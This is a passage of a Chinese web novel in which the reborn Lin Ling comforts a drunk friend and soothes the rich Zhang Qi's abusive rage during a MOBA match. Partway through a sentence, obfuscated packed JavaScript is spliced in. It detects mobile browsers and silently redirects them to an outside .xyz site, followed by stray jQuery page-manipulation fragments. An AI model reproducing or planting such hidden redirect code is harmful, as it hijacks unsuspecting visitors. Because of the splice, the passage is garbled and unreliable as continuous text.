最终自然是王桉毫无悬念地赢了，甚至刷新了记录，林翎配合地鼓掌，夸他是百年难得一遇的天才赛车手。王桉得意地摘下耳机，这才察觉到周围气氛的微妙凝滞和同伴们古怪的脸色。
“怎么了？”他茫然地问。
其他人打着哈哈，迅速岔开了话题，将刚才那点不愉快掩埋下去。林翎没有说话，他安静地站在原地，仿佛有所感应般，倏地抬起头，和二楼的张麒对视。
张麒双臂交叠，随意地搭在冰冷的栏杆上，姿态慵懒，居高临下，像一头休憩的猛兽俯视着自己的领地。红发垂落，锈红色的瞳孔在二楼昏暗的光线下，沉淀为一片深不见底的浓黑。
满意你所看到的吗？
这样，是不是让你觉得稍微不那么无聊了？
林翎嘴角无声地勾起，眉眼弯弯，朝着二楼那个桀骜的身影，露出了一个乖顺的微笑。
张麒的派对与过去没什么区别，酒精、喧闹、乱七八糟的游戏，欲望在震耳欲聋的音乐催化下发酵。人们被酒精和放纵点燃，情绪如同脱缰野马，越来越放浪形骸。空气里弥漫着烟味、酒气、汗水和某种失控的荷尔蒙气息，黏稠得令人窒息。如果不是张家管得严，他们甚至会弄些违禁品。
张麒依旧是绝对的核心，他像是黑暗漩涡里唯一发光的灯塔，牵引着所有飞蛾扑火般的视线。他熟练地掌控着节奏，一个眼神，一个手势，就能让气氛升温或冷却，他很习惯作为目光焦点，对这种场面驾轻就熟。
至于他喜不喜欢，谁知道呢。
林翎加入了另一拨打牌的人群。出牌，喊注，在等待下家犹豫不决的间隙，林翎捏着牌，指尖抵着下巴，目光穿过缭绕的烟雾和晃动的人影，静静地落在张麒身上。自从重生归来，他其实常常这样，在喧嚣的边缘，在无人察觉的角落，不动声色地审视着那个漩涡的中心，只是他自己还没有意识到。
赢了几局，林翎便借口透透气，悄然离开了烟雾缭绕声浪震天的牌桌。他独自走出喧闹的客厅，来到别墅外开阔的花园露台。这里地势颇高，凛冽的夜风卷走了室内的浊气，视野所及，整个帝都尽收眼底，茂密的钢铁森林铺成一副繁华而等级森严的画卷。
不知过了多久，身后传来踉跄的脚步声和浓重的酒气。
“林子，你……怎么一个人在这儿？”王桉的声音含混不清，带着明显的醉意。
林翎转过身：“嗯，出来透透气，这儿空气好点。”
王桉靠在冰凉的栏杆上，沉默了几秒，忽然没头没脑地说：“这次考试……恭喜你啊，真、真的进步了。”
他的语气里带着点不易察觉的涩意和一丝真诚的感慨，最开始看着林翎学习，他心里也不以为然，没想到林翎真的能坚持下来。
“谢谢。”林翎平静地回应。
夜风拂过，带着刺骨的寒意，王桉打了个哆嗦，醉眼朦胧地看向林翎，声音低了下去：“林子……我感觉你，跟以前不太一样了。”
“是吗？只是比以前努力了点吧，毕竟我真不想被学院赶出去。”
“可你……也不怎么跟我们一块儿玩了……”王桉嘟囔着，带着点被冷落的不满。
林翎轻轻叹了口气：“没时间啊。”
王桉脑海中回想起和林翎第一次见面的时候，不止是学习方面，他的说话方式，处事风格都截然不同，以前的林翎不会那样平淡地回击赵铭，也不会在满座喧嚣中悄无声息地离开。
王桉这次沉默的时间更长。冷风似乎吹散了些酒气，又或者某种压抑已久的情绪终于找到了出口。他猛地抬起头，眼神在昏暗的光线下显得有些尖锐和自嘲：“林子，你是不是……心里也开始瞧不起我们了？”
林翎微微一怔，侧目看向他：“你喝多了？”
“是喝了点……”王桉走到林翎身边，脚步有些虚浮，太阳穴突突直跳，后脑勺一阵阵抽痛，他烦躁地抓了抓那头乱七八糟的绿毛：“刚才在里面，大家不都在喝吗……”
林翎问：“那你呢，你喜欢和他们玩吗？”
王桉语气变得有些激动，眼里闪过一丝暗色：“跟他们玩有什么不好？麒哥那么大方，手指缝里随便漏一点，就够普通人挣一辈子！反正……反正我这辈子也就这样了，烂泥扶不上墙呗，要是能攀上麒哥，我爸还得夸我……”
林翎打断了他的喃喃低语，清晰地穿透了寒风：“王桉，我记得你报名了两个月后的业余组赛车比赛。到时候，我去现场给你加油，好不好？”
王桉猛地转头看他，醉意朦胧的眼里闪过一丝错愕和茫然。
林翎：“我觉得你能赢。”
王桉的视线像是找不到焦点，从林翎平静的脸，移到胸口，再落到满园在寒风中摇曳却无人欣赏的花朵上，最后才落回自己的鞋尖。他喉结滚动了一下，好半天，才从喉咙里挤出一个轻飘飘的音节：“……好。”
一阵更猛烈的寒风袭来，王桉狠狠打了个寒颤，混沌的脑子似乎被冷风激醒了几分，他一拍脑门：“靠！差点忘了！麒哥在游戏室等你呢！我是专门出来叫你的！”
林翎跟着脚步还有些虚浮的王桉回到室内，穿过依旧喧嚣的客厅，走进那间专门打造的游戏室。这里与外面的乌烟瘴气截然不同，顶级环绕音响播放着游戏背影音乐 ，空气里没有烟酒味，只有设备运转的细微嗡鸣和冷气的气息。
他还记得刚重生的时候，张麒就因为缺个靠谱的游戏搭子对他进行过惨无人道的消息轰炸。此刻，张麒正翘着腿坐在最中央那张昂贵的电竞椅上，周身笼罩着低气压。他旁边坐着的一个男生脸色惨白，额角冒汗，屏幕上是一个巨大而刺眼的“DEFEAT”。
“会不会玩？嗯？傻逼会不会玩？”张麒的声音又冷又沉，每一个字都带着毫不掩饰的轻蔑和怒火：“你跟对面中路对的是尼玛的什么线？全队就指着你那点经济买棺材板是吧？脑子在水里泡发了？赶着给你全家出殡？不会玩就滚！别在这儿污染老子眼睛！”
他骂得极其难听，那男生的脸由红转青再转白，屈辱和愤怒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220069|181479||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让他的身体微微发抖，指甲深深掐进掌心，却连一个字都不敢反驳。
屏幕上显示着的是传统MOBA游戏的结算画面，张麒玩的是打野位，而被他骂得狗血淋头的，正是这把崩得一塌糊涂的中单。
“麒哥。”林翎清朗的声音打破了令人窒息的低气压，他带着一身未散的寒气，还有一丝从花园沾染的花草清冽气息，从容地走到张麒身边坐下。他嘴角含笑，目光扫过屏幕，语气轻松自然：“我陪你玩一局？想玩什么位置？打野还是……”
“玩个屁的打野！”张麒余怒未消，暴躁地一推键盘。
林翎保持微笑，甚至更主动地往他那边靠了靠：“麒哥的打野是天花板级别的，这里谁配跟您抢野区啊？不过麒哥的射手也帅，要不您玩射手，我给您辅助，保证让您舒舒服服输出？”
张麒的手指在机械键盘上烦躁地敲击了几下，发出咔嗒咔嗒的声响。半晌，他才从鼻子里哼出一声，声音低沉：“……我打野。”
“行！”林翎立刻应下，给刚才那个中单一个眼神，对方立刻就让开了位置。林翎坐下，动作麻利地登陆账号，锁定了一个支援能力强的中单英雄：“那我走中，随时听您指挥，中野联动，就等麒哥带我飞了！”
张麒段位高，对面也不容小觑，不过除了张麒，另外三个队友也是经常一起玩的，配合这方面没有问题。
林翎精神高度集中，他知道对张麒来说，不仅要赢，还要赢得舒服。
游戏开始，林翎操控着英雄在中路谨慎地和对方中单对线换血，他手速并不快，敲击键盘发出不疾不徐的脆响。
“麒哥，对面打野露头了，在蓝区入口，看方向是蓝开。三级左右他刷完下半区，很可能去抓下路。” 他一边说着，手指飞快地在己方下路区域点了几个警告信号。
张麒正操控打野刷着自家的野怪，闻言立刻切了下视角，嗯了一声，心里已经有了数。
当张麒刷完第一轮野怪，升到三级，准备找机会抓人时，林翎的声音再次响起：“麒哥，中路兵线进塔了，可以来。”
张麒切屏一看，果然，对方中单正被己方小兵围在塔下补刀，位置非常靠前且孤立无援。
张麒立刻从河道草丛悄无声息地摸了过去，对方中单还在和林翎对线，张麒如同幽灵般出现，发起突袭。几乎就在同时，一直打得非常保守的林翎动了。他没有丝毫犹豫，放弃塔下几个残血小兵的经济，直接闪现越过兵线，控制技能精准地甩出！敌方中单正手忙脚乱地应付张麒的爆发，根本没料到林翎如此果断地放弃补刀来支援。在林翎的控制下，张麒瞬间爆发，干净利落地拿下一血！
【First Blood】
类似的情况在野区也上演，当张麒想要反野时，林翎总能提前清掉自己中路的兵线，比对方中单更快一步赶到野区战场。他不需要打出多少伤害，往往只是一个关键的控制技能，就能打乱对方打野的节奏，逼得对方要么交掉保命技能，要么眼睁睁看着野怪被张麒抢走。